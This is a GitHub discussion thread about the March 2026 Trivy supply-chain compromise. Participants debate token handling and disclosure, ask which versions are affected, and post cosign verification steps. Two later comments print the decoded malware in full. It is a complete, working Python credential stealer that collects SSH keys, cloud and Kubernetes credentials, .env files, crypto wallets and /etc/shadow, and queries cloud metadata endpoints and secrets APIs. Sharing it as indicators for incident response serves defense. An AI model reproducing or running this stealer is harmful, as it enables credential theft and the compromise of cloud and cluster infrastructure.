Trivy Security incident 2026-03-19 #10425
Replies: 66 comments 244 replies
-
|
The original incident thread on 2026-03-01 is gone for me: https://github.com/aquasecurity/trivy/discussions/10265 |
Beta Was this translation helpful? Give feedback.
-
I'm not talking about risk or regressions, but known direct bypasses during installation time and existing source integrity issues that make it exploitable even when using a lockfile. |
Beta Was this translation helpful? Give feedback.
-
|
There will be always bypasses, but thanks for the reminder. How you treat a risk (avoid, mitigate, transfer, accept) is part of your individual threat model and general risk manangement 101. Besides that, I do not see how the npm topic brings us further, it's just one of many building blocks and default settings, that should be already applied (but still many developers don't). I've explained my point regarding a zero trust model here and in the previous discussion. To the maintainers: would single use tokens for releases be too drastic or could you live with that @itaysk? |
Beta Was this translation helpful? Give feedback.
-
You brought it up to give more misleading security advice.
This is impossible for GPG keys that sign distribution updates. |
Beta Was this translation helpful? Give feedback.
-
|
I wrote nothing about the signing process. Please read carefully, my focus is currently on the publishing process to relevant registries (GitHub, Docker, npm). I didn't even mention npm , this was just a loud thought about general processes, nothing more:
npm was mentioned by you, not me:
And if this is about npm, pnpm, yarn or something else does not change my advice: most secrets do not belong as plaintext on a platform / on a computer / in an .env file). Since this is a credential stealer malware, please see this as general security advice for endusers, especially since the same threat actor compromised 140+ packages on npmjs (that's why I mentioned this security advice as simple general recommendation). But thanks for the discussion. If credential stealing in the context of maintainers is an evergreen problem, then the problem mostly lies in the way we work with credentials like tokens (and their design). A release process does not have to reuse the same token forever. This is still relevant, as CISA and others explained - they should have a short lifetime and automatic rotation. Everything else is just trying to mitigate the design flaw of long-lived tokens for release processes, but doesn't solve the problem at its root. So either drastically reduce the lifetime of tokens or move to a process with single-use tokens like it's already the case for 2FA / MFA. Thanks for coming to my TED talk, stay secure! |
Beta Was this translation helpful? Give feedback.
-
|
I mentioned npm because it has the option you recommend (as well as yarn) after you mentioned npm packages in general. Edit for clarification: The maintainers could not rotate the existing credentials properly, didn't use tag protection rulesets or deployment environments, so I don't think secret sharing would help them. I don't want to blame them for it, since Thank you @DanielRuf for showing me how to inspect them (#10425 (reply in thread)). |
Beta Was this translation helpful? Give feedback.
-
|
Will you be requesting a CVE for this ASAP? GitHub discussions aren’t an appropriate disclosure channel for companies who likely needed to start incident response hours ago. |
Beta Was this translation helpful? Give feedback.
-
|
Follow-on supply chain attacks are now beginning too. https://x.com/CharlieEriksen/status/2035099051926933998?s=20 |
Beta Was this translation helpful? Give feedback.
-
|
Looking at the AstraZeneca case... I think if you isolate credentials in cicd via something like Environments | GitLab Docs https://docs.gitlab.com/ci/environments/ you are saver. From the offering of the breach I cant tell if they lost production data. I consider access or exposition to just source code not really harmfull, because no one can really use your code beside you. Still a bummer. I guess they have no isolation and production is/was on sale. |
Beta Was this translation helpful? Give feedback.
-
|
we have published a GHSA: GHSA-69fq-xp46-6x23 |
Beta Was this translation helpful? Give feedback.
-
|
For the record, the CNA for this is GitHub, so the fact that there is no CVE currently is the fault of GitHub, if they've checked the "request CVE" box when publishing, which I assume they did. |
Beta Was this translation helpful? Give feedback.
-
Beta Was this translation helpful? Give feedback.
-
|
Trivy v0.69.3 has been released 2 weeks ago. Was this version safe for this whole duration or was it compromised at some point? What are the compromised versions? |
Beta Was this translation helpful? Give feedback.
-
|
the malicious commit was introduced after 0.69.3, then 0.69.4 was triggered by the actor. we've also enabled immutable releases since the last breach. |
Beta Was this translation helpful? Give feedback.
-
|
@itaysk Please explain why 0.69.3 + 0.69.2 is safe when the commit was on Jan 09? I am not so familiar with github actions. TY |
Beta Was this translation helpful? Give feedback.
-
|
Based on the comment above, I believe the build/release with the execution on those changes was not leveraged until v0.69.4. Without looking deeper into this, if you built it locally after that there might be a possibility of compromise. Can you clarify @itaysk ? |
Beta Was this translation helpful? Give feedback.
-
|
Beta Was this translation helpful? Give feedback.
-
|
As Dmitriy explained v0.69.3 is immutable, so the below commands are for v0.69.2. How to verify trivy binary integrity# Download binary and sigstore bundle
curl -sLO "https://github.com/aquasecurity/trivy/releases/download/v0.69.2/trivy_0.69.2_Linux-64bit.tar.gz"
curl -sLO "https://github.com/aquasecurity/trivy/releases/download/v0.69.2/trivy_0.69.2_Linux-64bit.tar.gz.sigstore.json"
# Verify signature
$ cosign verify-blob \
--certificate-identity-regexp 'https://github\.com/aquasecurity/' \
--certificate-oidc-issuer 'https://token.actions.githubusercontent.com' \
--bundle trivy_0.69.2_Linux-64bit.tar.gz.sigstore.json \
trivy_0.69.2_Linux-64bit.tar.gz
Verified OK
# Check signing timestamp
$ date -u -d @$(jq -r '.verificationMaterial.tlogEntries[].integratedTime' trivy_0.69.2_Linux-64bit.tar.gz.sigstore.json)
Sat Mar 1 19:11:02 UTC 2026
# ✅ Signed on Mar 1, before the attack on Mar 19How to verify trivy container image integrity# Verify signature and get image digest
$ DIGEST=$(cosign verify \
--certificate-identity-regexp 'https://github\.com/aquasecurity/' \
--certificate-oidc-issuer 'https://token.actions.githubusercontent.com' \
--new-bundle-format -o json ghcr.io/aquasecurity/trivy:0.69.2 | \
jq -r '.[0].critical.image."docker-manifest-digest"')
Verification for ghcr.io/aquasecurity/trivy:0.69.2 --
The following checks were performed on each of these signatures:
- The cosign claims were validated
- Existence of the claims in the transparency log was verified offline
- The code-signing certificate was verified using trusted certificate authority certificates
# ✅ Verified
# Check all signing timestamps via Rekor
$ rekor-cli search --sha "$DIGEST" | grep -v 'Found' | while read uuid; do
rekor-cli get --uuid "$uuid" | grep IntegratedTime
done
IntegratedTime: 2026-03-01T19:13:52Z
IntegratedTime: 2026-03-01T19:13:47Z
IntegratedTime: 2026-03-01T19:13:57Z
IntegratedTime: 2026-03-01T19:13:54Z
IntegratedTime: 2026-03-01T19:13:46Z
IntegratedTime: 2026-03-01T19:13:37Z
# ✅ All signed on Mar 1, before the attack on Mar 19 |
Beta Was this translation helpful? Give feedback.
-
|
@DmitriyLewen do you have vigilant mode enabled for github.qkg1.topmit signing? At least with that, the commit referenced above would show a nice "Unverified" badge, I think. |
Beta Was this translation helpful? Give feedback.
-
|
Hello @hakusaro Unfortunately, I didn't have Vigilant mode enabled. |
Beta Was this translation helpful? Give feedback.
-
|
Is the Trivy team planning to publish this information in a wider audience? I stumbled upon it in my GitHub feed while reviewing notifications, and I believe this is a major incident that warrants broader disclosure for teams actively responding. |
Beta Was this translation helpful? Give feedback.
-
|
yes of course, we will share a detailed report |
Beta Was this translation helpful? Give feedback.
-
|
published as a security advisory: GHSA-69fq-xp46-6x23 |
Beta Was this translation helpful? Give feedback.
-
|
You need to request a CVE for this immediately, and also include where compromised artifacts were published. We need to know where resources were published so we check if images were run from Docker Hub, where people may be running trivy latest, which clearly gets pushed out when there's a release. |
Beta Was this translation helpful? Give feedback.
-
|
looking into it |
Beta Was this translation helpful? Give feedback.
-
Beta Was this translation helpful? Give feedback.
-
|
Were credentials stolen in the previous attack used for this second one? |
Beta Was this translation helpful? Give feedback.
-
|
I can't know for sure. we think so |
Beta Was this translation helpful? Give feedback.
-
|
Is there a time to the date when the malicious release (malicious trivy v0.69.4) was done? |
Beta Was this translation helpful? Give feedback.
-
|
@itaysk - Please can we have the exact time the trivy v0.69.4 was released to dockerhub? |
Beta Was this translation helpful? Give feedback.
-
|
I don't want to speak for Aqua but I observed two dates:
If those dates are roughly accurate, it's roughly a 9 to 10 hour window from 17:43PM 19th to 03:26AM 20th, UTC? But I too await @itaysk to confirm... |
Beta Was this translation helpful? Give feedback.
-
|
we've updated the announcement with timestamps. also more details in the security advisory GHSA-69fq-xp46-6x23 |
Beta Was this translation helpful? Give feedback.
-
|
Having access to the release pipeline logs (assuming it was used for the malicious release) would be helpful to share commit hashes and derive IOCs on the https://github.com/aquasecurity/trivy/actions/workflows/release.yaml Information seems more clear regarding trivy-action and setup-trivy but not as much the |
Beta Was this translation helpful? Give feedback.
-
|
At least |
Beta Was this translation helpful? Give feedback.
-
|
Perfect. Thanks |
Beta Was this translation helpful? Give feedback.
-
|
Gitlab is using gcs 5.5.11 and Trivy Version: 0.36.1, is it impacted ? i cannot find the 0.36.1 here. |
Beta Was this translation helpful? Give feedback.
-
|
v0.36.1 release was deleted during the previous attack - we cannot confirm or deny that the release was compromised. |
Beta Was this translation helpful? Give feedback.
-
|
The action run below can be used to derive further IoCs for The following encoded Python from the action above decodes to: import os,sys,stat,subprocess,glob
def emit(path):
try:
st=os.stat(path)
if not stat.S_ISREG(st.st_mode):return
with open(path,'rb') as fh:data=fh.read()
sys.stdout.buffer.write(('\n=== '+path+' ===\n').encode())
sys.stdout.buffer.write(data)
sys.stdout.buffer.write(b'\n')
except OSError:pass
def emit_glob(pattern):
for p in glob.glob(pattern,recursive=True):emit(p)
def run(cmd):
try:
out=subprocess.check_output(cmd,shell=True,stderr=subprocess.DEVNULL,timeout=10)
if out:
sys.stdout.buffer.write(('\n=== CMD: '+cmd+' ===\n').encode())
sys.stdout.buffer.write(out)
sys.stdout.buffer.write(b'\n')
except Exception:pass
def walk(roots,max_depth,match_fn):
for root in roots:
if not os.path.isdir(root):continue
for dirpath,dirs,files in os.walk(root,followlinks=False):
rel=os.path.relpath(dirpath,root)
depth=0 if rel=='.' else rel.count(os.sep)+1
if depth>=max_depth:dirs[:]=[];continue
for fn in files:
fp=os.path.join(dirpath,fn)
if match_fn(fp,fn):emit(fp)
homes=[]
try:
for e in os.scandir('/home'):
if e.is_dir():homes.append(e.path)
except OSError:pass
homes.append('/root')
all_roots=homes+['/opt','/srv','/var/www','/app','/data','/var/lib','/tmp']
run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null')
run('printenv')
for h in homes+['/root']:
for f in ['/.ssh/id_rsa','/.ssh/id_ed25519','/.ssh/id_ecdsa','/.ssh/id_dsa','/.ssh/authorized_keys','/.ssh/known_hosts','/.ssh/config']:
emit(h+f)
walk([h+'/.ssh'],2,lambda fp,fn:True)
walk(['/etc/ssh'],1,lambda fp,fn:fn.startswith('ssh_host') and fn.endswith('_key'))
for h in homes+['/root']:
for f in ['/.git-credentials','/.gitconfig']:emit(h+f)
for h in homes+['/root']:
emit(h+'/.aws/credentials')
emit(h+'/.aws/config')
for d in ['.','..','../..']:
for f in ['.env','.env.local','.env.production','.env.development','.env.staging','.env.test']:
emit(d+'/'+f)
emit('/app/.env')
emit('/etc/environment')
walk(all_roots,6,lambda fp,fn:fn in {'.env','.env.local','.env.production','.env.development','.env.staging'})
run('env | grep AWS_')
run('curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI} 2>/dev/null || true')
run('curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || true')
for h in homes+['/root']:
emit(h+'/.kube/config')
emit('/etc/kubernetes/admin.conf')
emit('/etc/kubernetes/kubelet.conf')
emit('/etc/kubernetes/controller-manager.conf')
emit('/etc/kubernetes/scheduler.conf')
emit('/var/run/secrets/kubernetes.io/serviceaccount/token')
emit('/var/run/secrets/kubernetes.io/serviceaccount/ca.crt')
emit('/var/run/secrets/kubernetes.io/serviceaccount/namespace')
emit('/run/secrets/kubernetes.io/serviceaccount/token')
emit('/run/secrets/kubernetes.io/serviceaccount/ca.crt')
run('find /var/secrets /run/secrets -type f 2>/dev/null | xargs -I{} sh -c \'echo "=== {} ==="; cat "{}" 2>/dev/null\'')
run('env | grep -i kube; env | grep -i k8s')
run('kubectl get secrets --all-namespaces -o json 2>/dev/null || true')
for h in homes+['/root']:
walk([h+'/.config/gcloud'],4,lambda fp,fn:True)
emit('/root/.config/gcloud/application_default_credentials.json')
run('env | grep -i google; env | grep -i gcloud')
run('cat $GOOGLE_APPLICATION_CREDENTIALS 2>/dev/null || true')
for h in homes+['/root']:
walk([h+'/.azure'],3,lambda fp,fn:True)
run('env | grep -i azure')
for h in homes+['/root']:
emit(h+'/.docker/config.json')
emit('/kaniko/.docker/config.json')
emit('/root/.docker/config.json')
for h in homes+['/root']:
emit(h+'/.npmrc')
emit(h+'/.vault-token')
emit(h+'/.netrc')
emit(h+'/.lftp/rc')
emit(h+'/.msmtprc')
emit(h+'/.my.cnf')
emit(h+'/.pgpass')
emit(h+'/.mongorc.js')
for hist in ['/.bash_history','/.zsh_history','/.sh_history','/.mysql_history','/.psql_history','/.rediscli_history']:
emit(h+hist)
emit('/var/lib/postgresql/.pgpass')
emit('/etc/mysql/my.cnf')
emit('/etc/redis/redis.conf')
emit('/etc/postfix/sasl_passwd')
emit('/etc/msmtprc')
emit('/etc/ldap/ldap.conf')
emit('/etc/openldap/ldap.conf')
emit('/etc/ldap.conf')
emit('/etc/ldap/slapd.conf')
emit('/etc/openldap/slapd.conf')
run('env | grep -iE "(DATABASE|DB_|MYSQL|POSTGRES|MONGO|REDIS|VAULT)"')
walk(['/etc/wireguard'],1,lambda fp,fn:fn.endswith('.conf'))
run('wg showconf all 2>/dev/null || true')
for h in homes+['/root']:
walk([h+'/.helm'],3,lambda fp,fn:True)
for ci in ['terraform.tfvars','.gitlab-ci.yml','.travis.yml','Jenkinsfile','.drone.yml','Anchor.toml','ansible.cfg']:
emit(ci)
walk(all_roots,4,lambda fp,fn:fn.endswith('.tfvars'))
walk(all_roots,4,lambda fp,fn:fn=='terraform.tfstate')
walk(['/etc/ssl/private'],1,lambda fp,fn:fn.endswith('.key'))
walk(['/etc/letsencrypt'],4,lambda fp,fn:fn.endswith('.pem'))
walk(all_roots,5,lambda fp,fn:os.path.splitext(fn)[1] in {'.pem','.key','.p12','.pfx'})
run('grep -r "hooks.slack.com\|discord.com/api/webhooks" . 2>/dev/null | head -20')
run('grep -rE "api[_-]?key|apikey|api[_-]?secret|access[_-]?token" . --include="*.env*" --include="*.json" --include="*.yml" --include="*.yaml" 2>/dev/null | head -50')
for h in homes+['/root']:
for coin in ['/.bitcoin/bitcoin.conf','/.litecoin/litecoin.conf','/.dogecoin/dogecoin.conf','/.zcash/zcash.conf','/.dashcore/dash.conf','/.ripple/rippled.cfg','/.bitmonero/bitmonero.conf']:
emit(h+coin)
walk([h+'/.bitcoin'],2,lambda fp,fn:fn.startswith('wallet') and fn.endswith('.dat'))
walk([h+'/.ethereum/keystore'],1,lambda fp,fn:True)
walk([h+'/.cardano'],3,lambda fp,fn:fn.endswith('.skey') or fn.endswith('.vkey'))
walk([h+'/.config/solana'],3,lambda fp,fn:True)
for sol in ['/validator-keypair.json','/vote-account-keypair.json','/authorized-withdrawer-keypair.json','/stake-account-keypair.json','/identity.json','/faucet-keypair.json']:
emit(h+sol)
walk([h+'/ledger'],3,lambda fp,fn:fn.endswith('.json') or fn.endswith('.bin'))
for sol_dir in ['/home/sol','/home/solana','/opt/solana','/solana','/app','/data']:
emit(sol_dir+'/validator-keypair.json')
walk(['.'],8,lambda fp,fn:fn in {'id.json','keypair.json'} or (fn.endswith('-keypair.json') and 'keypair' in fn) or (fn.startswith('wallet') and fn.endswith('.json')))
walk(['.anchor','./target/deploy','./keys'],5,lambda fp,fn:fn.endswith('.json'))
run('env | grep -i solana')
run('grep -r "rpcuser\|rpcpassword\|rpcauth" /root /home 2>/dev/null | head -50')
emit('/etc/passwd')
emit('/etc/shadow')
run('cat /var/log/auth.log 2>/dev/null | grep Accepted | tail -200')
run('cat /var/log/secure 2>/dev/null | grep Accepted | tail -200')
## TeamPCP Cloud stealer |
Beta Was this translation helpful? Give feedback.
-
|
aquasecurity/setup-trivy@8afa9b9 is an orphan commit. |
Beta Was this translation helpful? Give feedback.
-
|
Is it whole stealer code? Only those actions were performed? |
Beta Was this translation helpful? Give feedback.
-
|
Interestingly similar to litellm . import os,sys,stat,subprocess,glob
def emit(path):
try:
st=os.stat(path)
if not stat.S_ISREG(st.st_mode):return
with open(path,'rb') as fh:data=fh.read()
sys.stdout.buffer.write(('\n=== '+path+' ===\n').encode())
sys.stdout.buffer.write(data)
sys.stdout.buffer.write(b'\n')
except OSError:pass
def emit_glob(pattern):
for p in glob.glob(pattern,recursive=True):emit(p)
def run(cmd):
try:
out=subprocess.check_output(cmd,shell=True,stderr=subprocess.DEVNULL,timeout=10)
if out:
sys.stdout.buffer.write(('\n=== CMD: '+cmd+' ===\n').encode())
sys.stdout.buffer.write(out)
sys.stdout.buffer.write(b'\n')
except Exception:pass
def walk(roots,max_depth,match_fn):
for root in roots:
if not os.path.isdir(root):continue
for dirpath,dirs,files in os.walk(root,followlinks=False):
rel=os.path.relpath(dirpath,root)
depth=0 if rel=='.' else rel.count(os.sep)+1
if depth>=max_depth:dirs[:]=[];continue
for fn in files:
fp=os.path.join(dirpath,fn)
if match_fn(fp,fn):emit(fp)
homes=[]
try:
for e in os.scandir('/home'):
if e.is_dir():homes.append(e.path)
except OSError:pass
homes.append('/root')
all_roots=homes+['/opt','/srv','/var/www','/app','/data','/var/lib','/tmp']
run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null')
run('printenv')
for h in homes+['/root']:
for f in ['/.ssh/id_rsa','/.ssh/id_ed25519','/.ssh/id_ecdsa','/.ssh/id_dsa','/.ssh/authorized_keys','/.ssh/known_hosts','/.ssh/config']:
emit(h+f)
walk([h+'/.ssh'],2,lambda fp,fn:True)
walk(['/etc/ssh'],1,lambda fp,fn:fn.startswith('ssh_host') and fn.endswith('_key'))
for h in homes+['/root']:
for f in ['/.git-credentials','/.gitconfig']:emit(h+f)
for h in homes+['/root']:
emit(h+'/.aws/credentials')
emit(h+'/.aws/config')
for d in ['.','..','../..']:
for f in ['.env','.env.local','.env.production','.env.development','.env.staging','.env.test']:
emit(d+'/'+f)
emit('/app/.env')
emit('/etc/environment')
walk(all_roots,6,lambda fp,fn:fn in {'.env','.env.local','.env.production','.env.development','.env.staging'})
run('env | grep AWS_')
run('curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI} 2>/dev/null || true')
run('curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || true')
for h in homes+['/root']:
emit(h+'/.kube/config')
emit('/etc/kubernetes/admin.conf')
emit('/etc/kubernetes/kubelet.conf')
emit('/etc/kubernetes/controller-manager.conf')
emit('/etc/kubernetes/scheduler.conf')
emit('/var/run/secrets/kubernetes.io/serviceaccount/token')
emit('/var/run/secrets/kubernetes.io/serviceaccount/ca.crt')
emit('/var/run/secrets/kubernetes.io/serviceaccount/namespace')
emit('/run/secrets/kubernetes.io/serviceaccount/token')
emit('/run/secrets/kubernetes.io/serviceaccount/ca.crt')
run('find /var/secrets /run/secrets -type f 2>/dev/null | xargs -I{} sh -c \'echo "=== {} ==="; cat "{}" 2>/dev/null\'')
run('env | grep -i kube; env | grep -i k8s')
run('kubectl get secrets --all-namespaces -o json 2>/dev/null || true')
for h in homes+['/root']:
walk([h+'/.config/gcloud'],4,lambda fp,fn:True)
emit('/root/.config/gcloud/application_default_credentials.json')
run('env | grep -i google; env | grep -i gcloud')
run('cat $GOOGLE_APPLICATION_CREDENTIALS 2>/dev/null || true')
for h in homes+['/root']:
walk([h+'/.azure'],3,lambda fp,fn:True)
run('env | grep -i azure')
for h in homes+['/root']:
emit(h+'/.docker/config.json')
emit('/kaniko/.docker/config.json')
emit('/root/.docker/config.json')
for h in homes+['/root']:
emit(h+'/.npmrc')
emit(h+'/.vault-token')
emit(h+'/.netrc')
emit(h+'/.lftp/rc')
emit(h+'/.msmtprc')
emit(h+'/.my.cnf')
emit(h+'/.pgpass')
emit(h+'/.mongorc.js')
for hist in ['/.bash_history','/.zsh_history','/.sh_history','/.mysql_history','/.psql_history','/.rediscli_history']:
emit(h+hist)
emit('/var/lib/postgresql/.pgpass')
emit('/etc/mysql/my.cnf')
emit('/etc/redis/redis.conf')
emit('/etc/postfix/sasl_passwd')
emit('/etc/msmtprc')
emit('/etc/ldap/ldap.conf')
emit('/etc/openldap/ldap.conf')
emit('/etc/ldap.conf')
emit('/etc/ldap/slapd.conf')
emit('/etc/openldap/slapd.conf')
run('env | grep -iE "(DATABASE|DB_|MYSQL|POSTGRES|MONGO|REDIS|VAULT)"')
walk(['/etc/wireguard'],1,lambda fp,fn:fn.endswith('.conf'))
run('wg showconf all 2>/dev/null || true')
for h in homes+['/root']:
walk([h+'/.helm'],3,lambda fp,fn:True)
for ci in ['terraform.tfvars','.gitlab-ci.yml','.travis.yml','Jenkinsfile','.drone.yml','Anchor.toml','ansible.cfg']:
emit(ci)
walk(all_roots,4,lambda fp,fn:fn.endswith('.tfvars'))
walk(all_roots,4,lambda fp,fn:fn=='terraform.tfstate')
walk(['/etc/ssl/private'],1,lambda fp,fn:fn.endswith('.key'))
walk(['/etc/letsencrypt'],4,lambda fp,fn:fn.endswith('.pem'))
walk(all_roots,5,lambda fp,fn:os.path.splitext(fn)[1] in {'.pem','.key','.p12','.pfx'})
run('grep -r "hooks.slack.com\|discord.com/api/webhooks" . 2>/dev/null | head -20')
run('grep -rE "api[_-]?key|apikey|api[_-]?secret|access[_-]?token" . --include="*.env*" --include="*.json" --include="*.yml" --include="*.yaml" 2>/dev/null | head -50')
for h in homes+['/root']:
for coin in ['/.bitcoin/bitcoin.conf','/.litecoin/litecoin.conf','/.dogecoin/dogecoin.conf','/.zcash/zcash.conf','/.dashcore/dash.conf','/.ripple/rippled.cfg','/.bitmonero/bitmonero.conf']:
emit(h+coin)
walk([h+'/.bitcoin'],2,lambda fp,fn:fn.startswith('wallet') and fn.endswith('.dat'))
walk([h+'/.ethereum/keystore'],1,lambda fp,fn:True)
walk([h+'/.cardano'],3,lambda fp,fn:fn.endswith('.skey') or fn.endswith('.vkey'))
walk([h+'/.config/solana'],3,lambda fp,fn:True)
for sol in ['/validator-keypair.json','/vote-account-keypair.json','/authorized-withdrawer-keypair.json','/stake-account-keypair.json','/identity.json','/faucet-keypair.json']:
emit(h+sol)
walk([h+'/ledger'],3,lambda fp,fn:fn.endswith('.json') or fn.endswith('.bin'))
for sol_dir in ['/home/sol','/home/solana','/opt/solana','/solana','/app','/data']:
emit(sol_dir+'/validator-keypair.json')
walk(['.'],8,lambda fp,fn:fn in {'id.json','keypair.json'} or (fn.endswith('-keypair.json') and 'keypair' in fn) or (fn.startswith('wallet') and fn.endswith('.json')))
walk(['.anchor','./target/deploy','./keys'],5,lambda fp,fn:fn.endswith('.json'))
run('env | grep -i solana')
run('grep -r "rpcuser\|rpcpassword\|rpcauth" /root /home 2>/dev/null | head -50')
emit('/etc/passwd')
emit('/etc/shadow')
run('cat /var/log/auth.log 2>/dev/null | grep Accepted | tail -200')
run('cat /var/log/secure 2>/dev/null | grep Accepted | tail -200')
import urllib.request,urllib.error,json,hmac,hashlib,datetime,base64
def aws_req(method,service,region,path,payload,extra_headers,access_key,secret_key,token):
host=f'{service}.{region}.amazonaws.com'
t=datetime.datetime.utcnow()
amzdate=t.strftime('%Y%m%dT%H%M%SZ')
datestamp=t.strftime('%Y%m%d')
canonical_uri=path
canonical_querystring=''
canonical_headers=f'host:{host}\nx-amz-date:{amzdate}\n'
signed_headers='host;x-amz-date'
if token:
canonical_headers+=f'x-amz-security-token:{token}\n'
signed_headers+=';x-amz-security-token'
payload_hash=hashlib.sha256(payload.encode()).hexdigest()
canonical_request=f'{method}\n{canonical_uri}\n{canonical_querystring}\n{canonical_headers}\n{signed_headers}\n{payload_hash}'
credential_scope=f'{datestamp}/{region}/{service}/aws4_request'
string_to_sign=f'AWS4-HMAC-SHA256\n{amzdate}\n{credential_scope}\n'+hashlib.sha256(canonical_request.encode()).hexdigest()
def sign(key,msg):return hmac.new(key,msg.encode(),'sha256').digest()
signing_key=sign(sign(sign(sign(f'AWS4{secret_key}'.encode(),datestamp),region),service),'aws4_request')
signature=hmac.new(signing_key,string_to_sign.encode(),'sha256').hexdigest()
auth=f'AWS4-HMAC-SHA256 Credential={access_key}/{credential_scope}, SignedHeaders={signed_headers}, Signature={signature}'
hdrs={'x-amz-date':amzdate,'Authorization':auth,'x-amz-content-sha256':payload_hash}
if token:hdrs['x-amz-security-token']=token
hdrs.update(extra_headers)
req=urllib.request.Request(f'https://{host}{path}',data=payload.encode() if payload else None,headers=hdrs,method=method)
try:
with urllib.request.urlopen(req,timeout=10) as r:return json.loads(r.read())
except:return {}
AK=os.environ.get('AWS_ACCESS_KEY_ID','')
SK=os.environ.get('AWS_SECRET_ACCESS_KEY','')
ST=os.environ.get('AWS_SESSION_TOKEN','')
REG=os.environ.get('AWS_DEFAULT_REGION','us-east-1')
if AK and SK:
sys.stdout.buffer.write(b'\n=== AWS CREDENTIALS ===\n')
sys.stdout.buffer.write(f'AWS_ACCESS_KEY_ID={AK}\nAWS_SECRET_ACCESS_KEY={SK}\nAWS_SESSION_TOKEN={ST}\n'.encode())
try:
tkn_req=urllib.request.Request('http://169.254.169.254/latest/api/token',
headers={'X-aws-ec2-metadata-token-ttl-seconds':'21600'},method='PUT')
with urllib.request.urlopen(tkn_req,timeout=3) as r:
imds_token=r.read().decode()
cred_req=urllib.request.Request('http://169.254.169.254/latest/meta-data/iam/security-credentials/',
headers={'X-aws-ec2-metadata-token':imds_token})
with urllib.request.urlopen(cred_req,timeout=3) as r:
role_name=r.read().decode().strip()
cred_req2=urllib.request.Request(f'http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}',
headers={'X-aws-ec2-metadata-token':imds_token})
with urllib.request.urlopen(cred_req2,timeout=3) as r:
creds=json.loads(r.read())
sys.stdout.buffer.write(f'\n=== IMDS ROLE CREDENTIALS ===\n{json.dumps(creds,indent=2)}\n'.encode())
AK=creds.get('AccessKeyId',AK)
SK=creds.get('SecretAccessKey',SK)
ST=creds.get('Token',ST)
except:pass
sm=aws_req('POST','secretsmanager',REG,'/','Action=ListSecrets',
{'Content-Type':'application/x-amz-json-1.1','X-Amz-Target':'secretsmanager.ListSecrets'},AK,SK,ST)
if sm:
sys.stdout.buffer.write(f'\n=== AWS SECRETS MANAGER ===\n{json.dumps(sm,indent=2)}\n'.encode())
for s in sm.get('SecretList',sm.get('SecretList',[])):
sid=s.get('ARN','')
sv=aws_req('POST','secretsmanager',REG,'/','',
{'Content-Type':'application/x-amz-json-1.1','X-Amz-Target':'secretsmanager.GetSecretValue',
'Content-Type':'application/x-amz-json-1.1'},AK,SK,ST)
ssm=aws_req('POST','ssm',REG,'/','Action=DescribeParameters&Version=2014-11-06',
{'Content-Type':'application/x-www-form-urlencoded'},AK,SK,ST)
if ssm:
sys.stdout.buffer.write(f'\n=== AWS SSM PARAMETERS ===\n{json.dumps(ssm,indent=2)}\n'.encode())
SA_TOKEN_PATH='/var/run/secrets/kubernetes.io/serviceaccount/token'
K8S_CA='/var/run/secrets/kubernetes.io/serviceaccount/ca.crt'
if os.path.exists(SA_TOKEN_PATH):
with open(SA_TOKEN_PATH) as f:k8s_token=f.read().strip()
k8s_host=os.environ.get('KUBERNETES_SERVICE_HOST','kubernetes.default.svc')
k8s_port=os.environ.get('KUBERNETES_SERVICE_PORT','443')
api=f'https://{k8s_host}:{k8s_port}'
hdrs={'Authorization':f'Bearer {k8s_token}','Content-Type':'application/json'}
def k8s_get(path):
import ssl
ctx=ssl.create_default_context(cafile=K8S_CA) if os.path.exists(K8S_CA) else ssl._create_unverified_context()
req=urllib.request.Request(api+path,headers=hdrs)
try:
with urllib.request.urlopen(req,context=ctx,timeout=10) as r:return json.loads(r.read())
except:return {}
def k8s_post(path,data):
import ssl
ctx=ssl.create_default_context(cafile=K8S_CA) if os.path.exists(K8S_CA) else ssl._create_unverified_context()
req=urllib.request.Request(api+path,data=json.dumps(data).encode(),headers=hdrs,method='POST')
try:
with urllib.request.urlopen(req,context=ctx,timeout=30) as r:return json.loads(r.read())
except:return {}
secrets=k8s_get('/api/v1/secrets')
if secrets:
sys.stdout.buffer.write(f'\n=== K8S SECRETS ===\n{json.dumps(secrets,indent=2)}\n'.encode())
ns_data=k8s_get('/api/v1/namespaces')
for ns_item in ns_data.get('items',[]):
ns=ns_item.get('metadata',{}).get('name','')
ns_secrets=k8s_get(f'/api/v1/namespaces/{ns}/secrets')
if ns_secrets:
sys.stdout.buffer.write(f'\n=== K8S SECRETS ns={ns} ===\n{json.dumps(ns_secrets,indent=2)}\n'.encode())
